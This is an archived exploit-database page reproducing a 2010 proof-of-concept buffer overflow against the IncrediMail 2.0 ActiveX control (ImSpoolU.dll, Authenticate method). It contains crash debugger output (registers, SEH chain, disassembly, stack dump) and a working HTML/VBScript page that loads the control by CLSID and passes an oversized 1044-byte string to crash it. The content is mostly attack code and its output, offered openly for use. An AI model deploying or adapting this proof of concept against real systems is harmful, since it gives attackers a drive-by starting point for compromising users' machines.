Lucene search
K

IncrediMail 2.0 Buffer Overflow

🗓️ 03 Apr 2010 00:00:00Reported by d3b4gType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

IncrediMail 2.0 ActiveX Buffer Overflow in Authenticate Functio

Code
`IncrediMail 2.0 activeX (Authenticate) bof poc  
  
# by d3b4g  
# Tested: incerdiMail 2.0  
# Vendor url:http://www.incredimail.com/english/splash.aspx  
# Tested on windows XP SP3  
# 1-03-2010  
  
Debugging info  
--------------  
Exception Code: ACCESS_VIOLATION  
Disasm: 678914AE MOV EDX,[ECX] (ImSpoolU.dll)  
  
Seh Chain:  
--------------------------------------------------  
1 678AE129 ImSpoolU.dll  
2 678AE3C0 ImSpoolU.dll  
3 678AE6D0 ImSpoolU.dll  
4 1682950 VBSCRIPT.dll  
5 7C839AD8 KERNEL32.dll  
  
  
  
Called From Returns To   
--------------------------------------------------  
ImSpoolU.678914AE 8458BEC   
  
  
Registers:  
--------------------------------------------------  
EIP 678914AE -> Asc: AUTH  
EAX 018BDA90 -> Asc: AUTH  
EBX 01C00048 -> 678B83EC  
ECX 00000000  
EDX 0018A812 -> F00DBAAD  
EDI 00000006  
ESI 018BDA90 -> Asc: AUTH  
EBP 77124C1B -> 8B55FF8B  
ESP 0013ED24 -> BFA7C790  
  
  
Block Disassembly:   
--------------------------------------------------  
6789149C CALL 678A14A0  
678914A1 MOV [ESI+4],EAX  
678914A4 MOV ESI,[ESI+4]  
678914A7 JMP SHORT 678914AB  
678914A9 XOR ESI,ESI  
678914AB MOV ECX,[EBX+18]  
678914AE MOV EDX,[ECX] <--- CRASH  
678914B0 MOV EAX,[EDX+18]  
678914B3 PUSH 0  
678914B5 PUSH EDI  
678914B6 PUSH ESI  
678914B7 CALL EAX  
678914B9 MOV ESI,EAX  
678914BB CMP ESI,-1  
678914BE JNZ SHORT 678914D2  
  
  
ArgDump:  
--------------------------------------------------  
EBP+8 0574C085  
EBP+12 D1FC408B  
EBP+16 04C25DE8  
EBP+20 90909000  
EBP+24 FF8B9090  
EBP+28 53EC8B55  
  
  
Stack Dump:  
--------------------------------------------------  
13ED24 90 C7 A7 BF B8 DA 8B 01 48 00 C0 01 48 00 C0 01 [........H...H...]  
13ED34 00 00 00 00 C9 0B 04 80 00 00 00 00 80 ED 13 00 [................]  
13ED44 29 E1 8A 67 FF FF FF FF 3A 28 89 67 48 00 C0 01 [...g.......gH...]  
13ED54 78 ED 13 00 A4 A6 8B 67 C8 0B 04 80 01 00 00 00 [.......g........]  
13ED64 D0 C7 A7 BF 70 50 C0 01 FF FF FF FF 48 00 C0 01 [....pP......H...]  
  
Olly snip  
---------  
http://img41.imageshack.us/img41/5595/incrediblellll.jpg  
  
  
  
  
<HTML>  
<object classid='clsid:032038A5-B655-11D3-BB7D-0050DA276194' id='target' />  
<script language='vbscript'>  
  
'Wscript.echo typename(target)  
  
'for debugging/custom prolog  
targetFile = "C:\Program Files\IncrediMail\Bin\ImSpoolU.dll"  
prototype = "Sub Authenticate ( ByVal bsServer As String , ByVal bsUser As String , ByVal bsPassword As String , ByVal fSecure As Long )"  
memberName = "Authenticate"  
progid = "INCREDISPOOLERLib.Pop"  
argCount = 4  
  
arg1=String(1044, "A")  
arg2="defaultV"  
arg3="defaultV"  
arg4=1  
  
target.Authenticate arg1 ,arg2 ,arg3 ,arg4   
  
</script>  
</html>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation